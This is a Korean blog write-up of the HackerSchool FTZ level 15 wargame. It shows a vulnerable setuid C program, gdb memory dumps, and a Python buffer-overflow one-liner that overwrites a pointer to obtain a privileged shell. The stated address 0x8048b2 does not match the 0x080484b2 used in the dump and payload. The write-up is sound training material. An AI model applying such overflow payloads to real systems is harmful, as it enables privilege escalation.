System

[HackerSchool_FTZ] level 15

gayeon_ 2023. 11. 29. 22:02
#include <stdio.h>



main()

{ int crap;

  int *check;

  char buf[20];

  fgets(buf,45,stdin);

  if (*check==0xdeadbeef)

   {

     setreuid(3096,3096);

     system("/bin/sh");

   }

}

hint 파일이다.

포인터(check)가 있다. check가 가리키는 곳과 0xdeadbeef의 주소가 일치해야 한다.

gdb로 분석해봤다.

 

 

[level15@ftz level15]$ gdb -q attackme

(gdb) x/20x main

0x8048490 <main>:       0x83e58955      0xec8338ec      0x6435ff04      0x6a080496

0x80484a0 <main+16>:    0xc8458d2d      0xfeb6e850      0xc483ffff      0xf0458b10

0x80484b0 <main+32>:    0xbeef3881      0x2575dead      0x6808ec83      0x00000c18

0x80484c0 <main+48>:    0x000c1868      0xfeb6e800      0xc483ffff      0x0cec8310

0x80484d0 <main+64>:    0x04854868      0xfe66e808      0xc483ffff      0x90c3c910

(gdb) x/x 0x80484b0
0x80484b0 <main+32>:    0xbeef3881
(gdb) x/x 0x80484b1
0x80484b1 <main+33>:    0xadbeef38
(gdb) x/x 0x80484b2
0x80484b2 <main+34>:    0xdeadbeef
(gdb)

x/20x main: main 함수의 메모리 덤프를 출력하는 명령어. x는 examine의 약자로 메모리를 조사하는 명령어이다. 20x는 20개의 16진수 워드를 표시하라는 의미이다.

 

gdb 분석으로 0xdeadbeef의 주소를 알아냈다.: 0x8048b2

 

check를 0x8048b2로 덮어주면 된다.

 

 

스택 구조 확인 후 버퍼 오버플로우 공격을 해주면 된다.

 

(python -c 'print "A"*40+"\xb2\x84\x04\x08"'; cat) | ./attackme

위 코드 실행 후 my-pass로 level16의 패스워드를 확인할 수 있다.

 

 

 

참고 자료

https://mandu-mandu.tistory.com/38

 

해커스쿨 FTZ [LEVEL15] 풀이

해커스쿨 FTZ [LEVEL15] 풀이M4ndU 해커스쿨 FTZ [LEVEL15] 풀이입니다. ID | level15PW | guess what 으로 로그인합니다. $ ls -l 를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고, $ cat hint 를 이용해 힌트를 확

mandu-mandu.tistory.com